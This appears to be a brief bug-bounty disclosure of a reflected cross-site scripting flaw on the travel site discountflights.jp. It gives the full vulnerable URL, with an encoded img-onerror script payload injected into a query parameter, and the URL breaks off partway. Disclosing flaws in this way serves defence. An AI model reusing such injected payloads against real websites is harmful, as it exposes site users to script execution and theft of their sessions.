discountflights.jp XSS vulnerability

Vulnerable URL: http://www.discountflights.jp/dynamic-flight-result.php?air-radio=on=%22%3E%3Cimg+src%3Dx+onerror%3Dprompt%28%27OPENBUGBOUNTY%27%29%3B%3E==%22%3E%3Cimg+src%3Dx+onerror%3Dprompt%28%27OPENBUGBOUNTY%27%29%3B%3E==15%2F03%2F17=22%2F03%2F17=1=0+=0=Economylanguage=ja-JPcurrency=JPY=2...